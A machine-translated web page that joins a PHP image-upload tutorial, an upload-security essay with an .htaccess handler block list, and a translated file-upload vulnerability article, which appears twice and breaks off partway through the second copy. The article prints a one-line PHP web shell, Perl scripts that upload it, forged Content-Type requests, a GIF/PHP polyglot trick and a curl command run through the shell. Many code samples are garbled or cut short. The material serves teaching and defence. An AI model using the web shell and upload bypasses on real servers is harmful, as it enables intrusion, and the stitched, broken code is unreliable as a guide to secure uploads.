In this article we will analyze in detail the mechanism for uploading images to the server from using PHP without resorting to third-party components and frameworks. Let's learn how to safely download images not only from the user's local machine, but also remote files via a link. I will write all code examples in a procedural style so that you can read the code faster and not jump from one method to another. The manual is completely original and does not pretend to be any kind of academic presentation..

§1. General principles

The entire sequence of uploading an image to the server can be displayed as follows: setting php.inireceiving filesecurity checkdata validationsaving to disk. The process of downloading a picture from the user's computer or via URL is no different, except for the method of obtaining the image and saving it. General scheme Uploading an image to the server looks like this:

To validate an image by URL, we will use the getimagesizefromstring() function, since cURL will download it into a variable for further manipulation.

Since we are uploading images to the server, it would be good to check certain parameters: width, height, type pictures, size file in bytes. It depends on the logic of your application, but for the sake of clarity, in this tutorial we will check all the above parameters.

§2. Safety rules

Security for downloading images comes down to preventing foreign code from reaching the server and being executed. In practice, loading images is the most vulnerable point in PHP applications: hit by shell scripts, writing malicious code to binary files, substitution of EXIF ​​data. In order to avoid most hacking methods, you must adhere to the following rules:

A Not trust data from $_FILES;
b Not check the MIME type of an image from the getimagesize() function;
generate a new name and extension in the downloaded file;
d prohibit the execution of PHP scripts in the folder with pictures;
d Not insert user data via require and include;
For $_FILES use is_uploaded_file() and move_uploaded_file().

If you have anything to add to the “Safety Rules,” then leave your comments or links to safety articles in the comments to this guide, and I will publish them in this paragraph.

§3. php.ini configuration

PHP allows you to enter certain configuration values ​​into the process of loading any files. To do this, you need to find the blocks “ Resource Limits», « Data Handling" And " File Uploads", and then edit the following values ​​as necessary:

; Maximum script execution time in seconds max_execution_time = 60 ; Maximum memory consumption for one script memory_limit = 64M ; Maximum allowed size of data sent using the POST method post_max_size = 5M ; Permission to upload files file_uploads = On ; Folder to store files during download upload_tmp_dir = home/user/temp ; Maximum size downloadable file upload_max_filesize = 5M ; Maximum allowed number of simultaneously downloaded files max_file_uploads = 10

Based on the specified values, the user will not be able to download more than ten files at a time, and each file should not exceed 5 MB. Parameters from the block " Resource Limits» more needed to download deleted file, because using cURL we will download the contents into a variable and check it according to the criteria we need, and for this we need extra time and memory.

The php.ini configuration file must always be configured according to the business logic of the web application being developed. For example, we plan to download no more than ten files up to 5 MB, which means we will need ~50 MB of memory. In addition, we need to know the maximum time for downloading one file from the local machine and from a link, in order to set a sufficient script execution time in max_execution_time and not frighten users with errors.

§4. Loading images from the form

Now we will not consider uploading several files to the server, but will only analyze the mechanics of uploading using the example of one file. So, to download a picture from the user’s computer, you need to use an HTML form to send the file to a PHP script using the POST method and specify the data encoding method enctype="multipart/form-data"(in this case, the data is not encrypted and this value is used only for sending binary files). We will work further with the form below:

For the file selection field we use the name name="upload" in our HTML form, although it can be anything. After sending a file to the PHP script file-handler.php, it can be intercepted using a superglobal variable $_FILES["upload"] with the same name, which contains information about the file in an array:

Array( => picture.jpg // original file name => image/jpeg // MIME file type => home\user\temp\phpD07E.tmp // binary file => 0 // error code => 17170 // file size in bytes)

Not all data from $_FILES can be trusted: the MIME type and file size can be faked, since they are formed from an HTTP response, and the extension in the file name should not be trusted due to the fact that a completely different file may be hidden behind it. However, next we need to check whether our file was loaded correctly and whether it was loaded at all. To do this, you need to check for errors in $_FILES["upload"]["error"] and make sure that the file is uploaded using the POST method using the function is_uploaded_file(). If something doesn’t go according to plan, then we display the error on the screen.

// Rewrite variables for convenience$filePath = $_FILES ["upload" ]["tmp_name" ]; $errorCode = $_FILES ["upload" ]["error" ]; // Check for errors if ($errorCode !== UPLOAD_ERR_OK || ! is_uploaded_file ($filePath )) ( // Array with error names$errorMessages = [ UPLOAD_ERR_INI_SIZE => "The file size has exceeded the upload_max_filesize value in the PHP configuration.", UPLOAD_ERR_FORM_SIZE => "The uploaded file size exceeded the MAX_FILE_SIZE value in the HTML form.", UPLOAD_ERR_PARTIAL => "The downloaded file was only partially received.", UPLOAD_ERR_NO_FILE => "The file was not loaded.", UPLOAD_ERR_NO_TMP_DIR => "The temporary folder is missing.", UPLOAD_ERR_CANT_WRITE => "Failed to write file to disk.", UPLOAD_ERR_EXTENSION => "The PHP extension has stopped downloading the file.", ]; // Set an unknown error$unknownMessage = "An unknown error occurred while downloading the file."; // If there is no error code in the array, say the error is unknown$outputMessage = isset ($errorMessages [$errorCode ]) ? $errorMessages [$errorCode ] : $unknownMessage ; // Print the name of the error die ($outputMessage); )

To prevent an attacker from downloading malicious code embedded in the image, the function cannot be trusted getimagesize(), which also returns the MIME type. The function expects the first argument to be a link to a valid image file. You can determine the real MIME type of an image using the FileInfo extension. The code below will check for the presence of the keyword image in the type of our downloaded file and if it is not there, it will generate an error:

// Create a FileInfo resource$fi = finfo_open(FILEINFO_MIME_TYPE); // Get the MIME type $mime = (string) finfo_file ($fi , $filePath ); );

At this stage, we can already upload absolutely any images to our server that have passed the MIME type check, but to upload images based on certain characteristics, we need to validate them using the function getimagesize(), to which we feed the binary file itself $_FILES["upload"]["tmp_name"]. As a result, we will get an array of maximum 7 elements:

Array ( => 1280 // width => 768 // height => 2 // type => width="1280" height="768" // attributes for HTML => 8 // color depth => 3 // color model => image/jpeg // MIME type)

To further validate the image and work on it, we only need to know 3 values: width, height And size file (to calculate the size, use the function filesize() for a binary file from a temporary folder).

// Write the result of the function to a variable$image = getimagesize($filePath); $limitBytes = 1024 * 1024 * 5 ; $limitWidth = 1280 ; $limitHeight = 768 ; // Check the necessary parameters if (filesize ($filePath ) > $limitBytes ) die ( "The image size must not exceed 5 MB."); if ($image > $limitHeight ) die(); if ($image > $limitWidth ) die();

After all the checks, we can confidently move our downloaded file to some folder with pictures. It's better to do this through a function move_uploaded_file(), which works in safe mode. Before moving a file, you must not forget generate random name and extension from image type for our file. This is what it looks like:

// Generate a new file name based on the MD5 hash$name = md5_file ($filePath); // Shorten .jpeg to .jpg// Move the picture with a new name and extension to the /pics folder if (! move_uploaded_file ($filePath , __DIR__ . "/pics/" . $name . $format )) ( die ( "An error occurred while writing the image to disk."); }

This completes the image loading. For more convenient file uploading, you can use the UploadedFile class from the Symfony HttpFoundation package, which is a wrapper for $_FILES and also saves the file via move_uploaded_file().

§5. Uploading an image via a link

To download an image via a link, we need the cURL library, which works with remote resources. Using it we will download the content into a variable. On the one hand, it may seem that it would be suitable for these purposes file_get_contents(), but in reality we will not be able to control the amount of data downloaded and normally handle all errors that arise. In order for cURL to correctly download the data we need: allow follow redirects, enable verification certificate, indicate maximum time cURL performance (formed by the volume of downloaded data and the average speed of working with the resource). How to correctly download a file to a variable is shown below with the necessary parameters:

// Somehow get the link$url = "https://site.ru/picture.jpg" ; // Check HTTP in the link address if (! preg_match ("/^https?:/i" , $url ) && filter_var ($url , FILTER_VALIDATE_URL)) ( die ( "Please provide a valid link to the remote file."); } // Run cURL with our link$ch = curl_init ($url); // Specify settings for cURL curl_setopt_array ($ch, [ // Specify the maximum running time for cURL CURLOPT_TIMEOUT => 60 , // Allow redirects to follow CURLOPT_FOLLOWLOCATION => 1 , // Allow the result to be written to a variable CURLOPT_RETURNTRANSFER => 1 , // Turn on the data loading indicator CURLOPT_NOPROGRESS => 0 , // Set the buffer size to 1 KB CURLOPT_BUFFERSIZE => 1024 , // Let's write a function to count downloaded data // More details: http://stackoverflow.com/a/17642638 CURLOPT_PROGRESSFUNCTION => function ($ch , $dwnldSize , $dwnld , $upldSize , $upld ) ( // When more than 5 MB are downloaded, cURL will abort if ($dwnld > 1024 * 1024 * 5 ) ( return - 1 ; ) ), // Enable certificate verification (default) CURLOPT_SSL_VERIFYPEER => 1 , // Check the certificate name and whether it matches the specified host (default) CURLOPT_SSL_VERIFYHOST => 2 , // Specify the verification certificate // Download: https://curl.haxx.se/docs/caextract.html CURLOPT_CAINFO => __DIR__ . "/cacert.pem" , ]); $raw = curl_exec($ch); // Download data to variable$info = curl_getinfo ($ch); // Get information about the operation$error = curl_errno($ch); // Write down the last error code // End the cURL session curl_close($ch);

If everything went well and cURL was completed within 60 seconds, then the content from the link will be downloaded into a variable $raw. In addition, the function curl_getinfo() will return information about the request made, from where we can obtain additional information to analyze work with remote resources:

Array( => image/jpeg // MIME type from Content-Type => 200 // latest HTTP code => 0 // number of redirects => 0.656 // total cURL running time => 0.188 // time to connect to the host => 4504 // actual size of received data => 4504 // data size from Content-Length /* ... */ )

Next we need to check if there are any errors in curl_errno() and make sure that the resource returns an HTTP code of 200, otherwise we will say that nothing was found at such and such URL. After all checks the variable $raw we transfer to getimagesizefromstring() and we work according to the established scheme, as in the case of loading pictures from the form.

Please note that we validate the file size at the time of receiving the data, since we cannot trust curl_getinfo() 100%, since the content_type, http_code, download_content_length values ​​​​are formed based on the received HTTP headers. Downloading the entire file and then checking the number of bytes will require a lot of time and memory. Therefore, we controlled the size of the received data using the CURLOPT_PROGRESSFUNCTION option: as soon as cURL receives more data than our limit, it will stop running and throw a CURLE_ABORTED_BY_CALLBACK error.

// Check for cURL errors and file availability if ($error === CURLE_OPERATION_TIMEDOUT) die ( "Wait limit exceeded."); if ($error === CURLE_ABORTED_BY_CALLBACK) die ( "The size should not exceed 5 MB."); if ($info ["http_code" ] !== 200 ) die ( "The file is not available."); // Create a FileInfo resource$fi = finfo_open(FILEINFO_MIME_TYPE); // Get the MIME type using the contents of $raw$mime = (string) finfo_buffer ($fi , $raw ); // Close the FileInfo resource finfo_close($fi); // Check the image keyword (image/jpeg, image/png, etc.) if (strpos($mime, "image") === false) die( "Only images can be uploaded."); // Take image data from its contents$image = getimagesizefromstring($raw ); // Set restrictions for images$limitWidth = 1280 ; $limitHeight = 768 ; // Check the necessary parameters if ($image > $limitHeight ) die ( "The image height must not exceed 768 pixels."); if ($image > $limitWidth ) die ( "The image width should not exceed 1280 pixels."); // Generate a new name from the MD5 hash of the image$name = md5($raw); // Generate a file extension based on the image type$extension = image_type_to_extension($image); // Shorten .jpeg to .jpg$format = str_replace ("jpeg" , "jpg" , $extension ); // Save the picture with a new name and extension to the /pics folder if (! file_put_contents (__DIR__ . "/pics/" . $name . $format , $raw )) ( die ( "An error occurred while saving the image to disk."); }

To save the image to disk, you can use file_put_contents() which will write the content to a file. We will create a new file name using the function md5(), and let’s make an extension from image_type_to_extension(). Now we can download any pictures from the link.

§6. Setting up multiple file selection

In this section, we will look at ways to download several images at a time from the user’s local machine and via remote links. To send links we use $_POST and transfer all the data to it using the tag textarea. To upload files from the form, we will continue to work with $_FILES. Our new HTML form will be slightly different from the old one.

At the end of the file selection field name name="upload" added curly braces and attribute multiple, which allows the browser to select multiple files. All files will be downloaded to the temporary folder again if there are no errors in php.ini . You can intercept them at $_FILES, but this time the superglobal variable will have an inconvenient structure for processing data in an array. This problem can be solved by small manipulations with the array:

// Change the $_FILES structure foreach ($_FILES ["upload" ] as $key => $value ) ( foreach ($value as $k => $v ) ( $_FILES ["upload" ][$k ][$key ] = $v ; ) // Delete old keys unset ($_FILES ["upload" ][$key ]); ) // Load all the pictures in order foreach ($_FILES ["upload" ] as $k => $v ) ( // Load one file at a time$_FILES ["upload" ][$k ]["tmp_name" ]; $_FILES ["upload" ][$k ]["error" ]; )

To download several images by URL, we will transfer our links via textarea with name name="upload", where they can be specified separated by a space or on a new line. Function preg_split will parse all the data from $_POST["upload"] and will form an array through which you need to loop and send each valid URL to the handler.

$data = preg_split ("/\s+/" , $_POST ["upload" ], - 1 , PREG_SPLIT_NO_EMPTY); foreach ($data as $url) ( // Validate and load the image by URL }

When a site requires allowing a user to upload their files (for example, photos or avatars) and then storing them on the server, a number of security problems immediately arise.

The first and most obvious is file names. They must be checked for special characters, since the user can forge an HTTP request, as a result of which the downloaded file will have a name, for example, ../index.php. and when you try to save it, the root index will be overwritten. In addition, the name may contain Russian letters in the windows-1251 or koi-8 encoding, which will not be saved correctly in the file system. Conclusion: you need to save the file not under the name under which the user downloaded it, but under a random one, for example, an MD5 hash of the file name, download time and user IP. The name of this file is somewhere in the database, and then give the file as a script, which will first produce the Content-disposition: attachment; header. filename="filename".

Second problem - extension or MIME type cannot be trusted, they can be faked if desired. Therefore, if the file type is important, it needs to be checked for compliance with the format already on the server (for pictures, the getimagesize function from the GD module is good, for other types - reading headers) and reject those files whose format does not match.

And finally, the third, most important problem -. There are several solutions here. The first is if you intend to download only certain types of files (for example, the avatar can only be a picture in PNG, JPG, GIF) and reject everything that is not suitable. But sometimes you need to allow all types of files to be uploaded. Then the second option arises: check the extension of the downloaded file and, if it is unsafe, rename it (for example, replacing the extension from .php to .phps will result in the script not being executed, but its code will be shown with syntax highlighting). The main disadvantage of this solution is that it may turn out that some server is configured to execute scripts with an unusual extension, for example, .php3, and it will not be possible to filter this out. And finally, the third option is to disable script processing, for example via .htaccess:

RemoveHandler .phtml .php .php3 .php4 .php5 .php6 .phps .cgi .exe .pl .asp .aspx .shtml .shtm .fcgi .fpl .jsp .htm .html .wml
AddType application/x-httpd-php-source .phtml .php .php3 .php4 .php5 .php6 .phps .cgi .exe .pl .asp .aspx .shtml .shtm .fcgi .fpl .jsp

However, please note that the .htaccess file only affects Apache (and even then its use must be enabled in the settings), and on other servers it will be ignored. (This is especially important for scripts that are posted publicly: sooner or later there will be a user with some kind of IIS who will not take the proper measures, so it is better to combine this method with the previous one.)

And lastly: after reading this text, you may want to store user files in a database altogether. You shouldn't do this: although this seems like a simple solution, you should keep in mind that modern search engines index not only regular HTML pages, but also other types of files. And at the moment the search robot passes, the load on the SQL server will increase sharply due to the need to transfer a large amount of data at once, which will lead to problems in the operation of the site.

  • Translation

This article demonstrates the main vulnerabilities of web applications for uploading files to the server and how to avoid them. The article contains the very basics; it is unlikely that it will be of interest to professionals. But nevertheless, every PHP developer should know this.

Various web applications allow users to upload files. Forums allow users to upload "avatars". Photo galleries allow you to upload photos. Social networks provide opportunities to upload images, videos, etc. Blogs allow you to upload avatars and/or images.

Often, uploading files without proper security controls leads to vulnerabilities, which, as practice shows, have become a real problem in PHP web applications.

Conducted tests have shown that many web applications have many security problems. These “holes” provide attackers with extensive opportunities to perform unauthorized actions, starting with viewing any file on the server and uploading and executing arbitrary code. This article talks about the main security holes and how to avoid them.

The code examples provided in this article can be downloaded from:
www.scanit.be/uploads/php-file-upload-examples.zip.

If you want to use them, please make sure that the server you are using is not accessible from the Internet or any other public networks. The examples demonstrate various vulnerabilities, the execution of which on an externally accessible server can lead to dangerous consequences.

Regular file upload

Uploading files usually consists of two independent functions - accepting files from the user and showing files to the user. Both parts can be a source of vulnerabilities. Let's look at the following code (upload1.php):
$uploaddir = "uploads/" ; // Relative path under webroot


echo ;
}
?>


Typically users will upload files using a form like this:

< form name ="upload" action ="upload1.php" method ="POST" ENCTYPE ="multipart/form-data" >
Select the file to upload:< input type ="file" name ="userfile" >
< input type ="submit" name ="upload" value ="upload" >

* This source code was highlighted with Source Code Highlighter.

An attacker will not use this form. He can write a small Perl script (possibly in any language - translator's note), which will emulate the user’s actions of downloading files in order to change the sent data at their discretion.

In this case, the upload contains a large security hole: upload1.php allows users to upload arbitrary files to the root of the site. An attacker can upload a PHP file that allows arbitrary shell commands to be executed on the server with the privilege of the web server process. This script is called PHP-Shell. Here is the simplest example of such a script:

system($_GET["command"]);
?>

If this script is located on the server, then you can execute any command via a request:
server/shell.php?command=any_Unix_shell_command

More advanced PHP shells can be found on the Internet. They can download arbitrary files, execute SQL queries, etc.

The Perl source shown below uploads PHP-Shell to the server using upload1.php:

#!/usr/bin/perl
use LWP; # we are using libwwwperl
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new ;
$res = $ua->request(POST "http://localhost/upload1.php",
Content_Type => "form-data" ,
Content => ,],);

Print $res->as_string();


* This source code was highlighted with Source Code Highlighter.

This script uses libwwwperl, which is a convenience Perl library that emulates an HTTP client.

And this is what will happen when this script is executed:

Request:

POST /upload1.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost

Content-Length: 156

--xYzZY

Content-Type: text/plain
system($_GET["command"]);
?>
--xYzZY-

Answer:
HTTP/1.1 200 OK
Date: Wed, 13 Jun 2007 12:25:32 GMT
Server: Apache

Content-Length: 48
Connection: close
Content-Type: text/html
File is valid, and was successfully uploaded.

After we have loaded the shell script, we can safely run the command:
$ curl localhost/uploads/shell.php?command=id
uid=81(apache) gid=81(apache) groups=81(apache)

cURL is a command-line HTTP client available on Unix and Windows. This is a very useful tool for testing web applications. cURL can be downloaded from curl.haxx.se

Checking Content-Type

The above example rarely occurs. In most cases, programmers use simple checks to ensure that users download files of a strictly defined type. For example, using the Content-Type header:

Example 2 (upload2.php):

if ($_FILES[;
exit;
}
$uploaddir = "uploads/" ;
$uploadfile = $uploaddir . basename($_FILES["userfile" ]["name" ]);

if (move_uploaded_file($_FILES["userfile" ]["tmp_name" ], $uploadfile)) (
echo ;
}
?>

* This source code was highlighted with Source Code Highlighter.

In this case, if an attacker only tries to download shell.php, our code will check the MIME type of the downloaded file in the request and filter out the unnecessary ones.

Request:

POST /upload2.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 156
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: text/plain
system($_GET["command"]);
?>
--xYzZY--

Answer:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 13:54:01 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 41
Connection: close
Content-Type: text/html
So far so good. Unfortunately, there is a way to bypass this protection because the MIME type being checked comes with the request. In the query above it is set to "text/plain" (it is installed by the browser - translator's note). There is nothing stopping an attacker from setting it to "image/gif", since with client emulation he has full control over the request he sends (upload2.pl):
#!/usr/bin/perl
#
use LWP;
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new ;;
$res = $ua->request(POST "http://localhost/upload2.php",
Content_Type => "form-data" ,
Content => ,],);

Print $res->as_string();

* This source code was highlighted with Source Code Highlighter.

And this is what happens.

Request:

POST /upload2.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/gif
system($_GET["command"]);
?>
--xYzZY-

Answer:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 14:02:11 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 59
Connection: close
Content-Type: text/html

As a result, our upload2.pl forges the Content-Type header, forcing the server to accept the file.

Checking the Contents of an Image File

Instead of trusting the Content-Type header, the PHP developer could check the actual content of the uploaded file to ensure that it is indeed an image. PHP function getimagesize() is often used for this. It takes the filename as an argument and returns an array of image sizes and type. Let's look at the upload3.php example below.
$imageinfo = getimagesize($_FILES["userfile" ]["tmp_name" ]);
if ($imageinfo["mime" ] != "image/gif" && $imageinfo["mime" ] != "image/jpeg" ) (
echo "Sorry, we only accept GIF and JPEG images\n";
exit;
}

$uploaddir = "uploads/" ;
$uploadfile = $uploaddir . basename($_FILES["userfile" ]["name" ]);

if (move_uploaded_file($_FILES["userfile" ]["tmp_name" ], $uploadfile)) (
echo ;
}
?>

* This source code was highlighted with Source Code Highlighter.

Now, if an attacker tries to upload shell.php, even if he sets the Content-Type header to "image/gif", then upload3.php will still throw an error.

Request:

POST /upload3.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/gif
system($_GET["command"]);
?>
--xYzZY-

Answer:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 14:33:35 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 42
Connection: close
Content-Type: text/html
Sorry, we only accept GIF and JPEG images

You might think that now we can rest assured that only GIF or JPEG files will be downloaded. Unfortunately, this is not the case. The file can actually be in GIF or JPEG format, and at the same time a PHP script. Most image formats allow you to add text metadata to the image. It is possible to create a perfectly valid image that contains some PHP code in this metadata. When getimagesize() looks at a file, it will treat it as a valid GIF or JPEG. When a PHP translator looks at a file, it sees executable PHP code in some binary "garbage" that will be ignored. A typical file called crocus.gif is contained in the example (see the beginning of the article). Such an image can be created in any graphics editor.

So, let's create a Perl script to load our image:

#!/usr/bin/perl
#
use LWP;
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new ;;
$res = $ua->request(POST "http://localhost/upload3.php",
Content_Type => "form-data" ,
Content => , ],);

Print $res->as_string();

* This source code was highlighted with Source Code Highlighter.

This code takes the file crocus.gif and loads it with the name crocus.php. Execution will result in the following:

Request:

POST /upload3.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 14835
--xYzZY

Content-Type: image/gif
GIF89a(...some binary data...)(... skipping the rest of binary data ...)
--xYzZY-

Answer:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 14:47:24 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 59
Connection: close
Content-Type: text/html
File is valid, and was successfully uploaded.

An attacker can now execute uploads/crocus.php and get the following:

As you can see, the PHP translator ignores the binary data at the beginning of the image and executes the sequence "" in the GIF comment.

Checking the extension of the downloaded file

A reader of this article might wonder why we don't just check the extension of the downloaded file? If we don't allow *.php files to be loaded, then the server will never be able to execute that file as a script. Let's look at this approach as well.

We can blacklist file extensions and check the name of the uploaded file, ignoring the upload of the file with executable extensions (upload4.php):

$blacklist = array(".php" , ".phtml" , ".php3" , ".php4" );
foreach ($blacklist as $item) (
if (preg_match(;
exit;
}
}

$uploaddir = "uploads/" ;
$uploadfile = $uploaddir . basename($_FILES["userfile" ]["name" ]);

if (move_uploaded_file($_FILES["userfile" ]["tmp_name" ], $uploadfile)) (
echo ;
}
?>


* This source code was highlighted with Source Code Highlighter.

The expression preg_match("/$item\$/i", $_FILES["userfile"]["name"]) matches the user-defined file name in the blacklist array. The "i" modifier says that our expression is case insensitive. If the file extension matches one of the items in the blacklist, the file will not be downloaded.

If we try to upload a file with a .php extension, this will result in an error:

Request:

POST /upload4.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 14835
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="crocus.php"
Content-Type: image/gif

--xYzZY-

Answer:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 15:19:45 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 36
Connection: close
Content-Type: text/html
If we download a file with a .gif extension, then it will be downloaded:

Request:

POST /upload4.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 14835
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="crocus.gif"
Content-Type: image/gif
GIF89(...skipping binary data...)
--xYzZY--

Answer:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 15:20:17 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 59
Connection: close
Content-Type: text/html
File is valid, and was successfully uploaded.

Now, if we request the downloaded file, it will not be executed by the server:
  • Translation

This article demonstrates the main vulnerabilities of web applications for uploading files to the server and how to avoid them. The article contains the very basics; it is unlikely that it will be of interest to professionals. But nevertheless, every PHP developer should know this.

Various web applications allow users to upload files. Forums allow users to upload "avatars". Photo galleries allow you to upload photos. Social networks provide opportunities to upload images, videos, etc. Blogs allow you to upload avatars and/or images.

Often, uploading files without proper security controls leads to vulnerabilities, which, as practice shows, have become a real problem in PHP web applications.

Conducted tests have shown that many web applications have many security problems. These “holes” provide attackers with extensive opportunities to perform unauthorized actions, starting with viewing any file on the server and uploading and executing arbitrary code. This article talks about the main security holes and how to avoid them.

The code examples provided in this article can be downloaded from:
www.scanit.be/uploads/php-file-upload-examples.zip.

If you want to use them, please make sure that the server you are using is not accessible from the Internet or any other public networks. The examples demonstrate various vulnerabilities, the execution of which on an externally accessible server can lead to dangerous consequences.

Regular file upload

Uploading files usually consists of two independent functions - accepting files from the user and showing files to the user. Both parts can be a source of vulnerabilities. Let's look at the following code (upload1.php):
$uploaddir = "uploads/" ; // Relative path under webroot


echo ;
}
?>


Typically users will upload files using a form like this:

< form name ="upload" action ="upload1.php" method ="POST" ENCTYPE ="multipart/form-data" >
Select the file to upload:< input type ="file" name ="userfile" >
< input type ="submit" name ="upload" value ="upload" >

* This source code was highlighted with Source Code Highlighter.

An attacker will not use this form. He can write a small Perl script (possibly in any language - translator's note), which will emulate the user’s actions of downloading files in order to change the sent data at their discretion.

In this case, the upload contains a large security hole: upload1.php allows users to upload arbitrary files to the root of the site. An attacker can upload a PHP file that allows arbitrary shell commands to be executed on the server with the privilege of the web server process. This script is called PHP-Shell. Here is the simplest example of such a script:

system($_GET["command"]);
?>

If this script is located on the server, then you can execute any command via a request:
server/shell.php?command=any_Unix_shell_command

More advanced PHP shells can be found on the Internet. They can download arbitrary files, execute SQL queries, etc.

The Perl source shown below uploads PHP-Shell to the server using upload1.php:

#!/usr/bin/perl
use LWP; # we are using libwwwperl
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new ;
$res = $ua->request(POST "http://localhost/upload1.php",
Content_Type => "form-data" ,
Content => ,],);

Print $res->as_string();


* This source code was highlighted with Source Code Highlighter.

This script uses libwwwperl, which is a convenience Perl library that emulates an HTTP client.

And this is what will happen when this script is executed:

Request:

POST /upload1.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost

Content-Length: 156

--xYzZY

Content-Type: text/plain
system($_GET["command"]);
?>
--xYzZY-

Answer:
HTTP/1.1 200 OK
Date: Wed, 13 Jun 2007 12:25:32 GMT
Server: Apache

Content-Length: 48
Connection: close
Content-Type: text/html
File is valid, and was successfully uploaded.

After we have loaded the shell script, we can safely run the command:
$ curl localhost/uploads/shell.php?command=id
uid=81(apache) gid=81(apache) groups=81(apache)

cURL is a command-line HTTP client available on Unix and Windows. This is a very useful tool for testing web applications. cURL can be downloaded from curl.haxx.se

Checking Content-Type

The above example rarely occurs. In most cases, programmers use simple checks to ensure that users download files of a strictly defined type. For example, using the Content-Type header:

Example 2 (upload2.php):

if ($_FILES[;
exit;
}
$uploaddir = "uploads/" ;
$uploadfile = $uploaddir . basename($_FILES["userfile" ]["name" ]);

if (move_uploaded_file($_FILES["userfile" ]["tmp_name" ], $uploadfile)) (
echo ;
}
?>

* This source code was highlighted with Source Code Highlighter.

In this case, if an attacker only tries to download shell.php, our code will check the MIME type of the downloaded file in the request and filter out the unnecessary ones.

Request:

POST /upload2.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 156
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: text/plain
system($_GET["command"]);
?>
--xYzZY--

Answer:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 13:54:01 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 41
Connection: close
Content-Type: text/html
So far so good. Unfortunately, there is a way to bypass this protection because the MIME type being checked comes with the request. In the query above it is set to "text/plain" (it is installed by the browser - translator's note). There is nothing stopping an attacker from setting it to "image/gif", since with client emulation he has full control over the request he sends (upload2.pl):
#!/usr/bin/perl
#
use LWP;
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new ;;
$res = $ua->request(POST "http://localhost/upload2.php",
Content_Type => "form-data" ,
Content => ,],);

Print $res->as_string();

* This source code was highlighted with Source Code Highlighter.

And this is what happens.

Request:

POST /upload2.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/gif
system($_GET["command"]);
?>
--xYzZY-

Answer:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 14:02:11 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 59
Connection: close
Content-Type: text/html

As a result, our upload2.pl forges the Content-Type header, forcing the server to accept the file.

Checking the Contents of an Image File

Instead of trusting the Content-Type header, the PHP developer could check the actual content of the uploaded file to ensure that it is indeed an image. The PHP getimagesize() function is often used for this. It takes the filename as an argument and returns an array of image sizes and type. Let's look at the upload3.php example below.
$imageinfo = getimagesize($_FILES["userfile" ]["tmp_name" ]);
if ($imageinfo["mime" ] != "image/gif" && $imageinfo["mime" ] != "image/jpeg" ) (
echo "Sorry, we only accept GIF and JPEG images\n";
exit;
}

$uploaddir = "uploads/" ;
$uploadfile = $uploaddir . basename($_FILES["userfile" ]["name" ]);

if (move_uploaded_file($_FILES["userfile" ]["tmp_name" ], $uploadfile)) (
echo ;
}
?>

* This source code was highlighted with Source Code Highlighter.

Now, if an attacker tries to upload shell.php, even if he sets the Content-Type header to "image/gif", then upload3.php will still throw an error.

Request:

POST /upload3.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/gif
system($_GET["command"]);
?>
--xYzZY-

Answer:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 14:33:35 GMT
Server: Apache
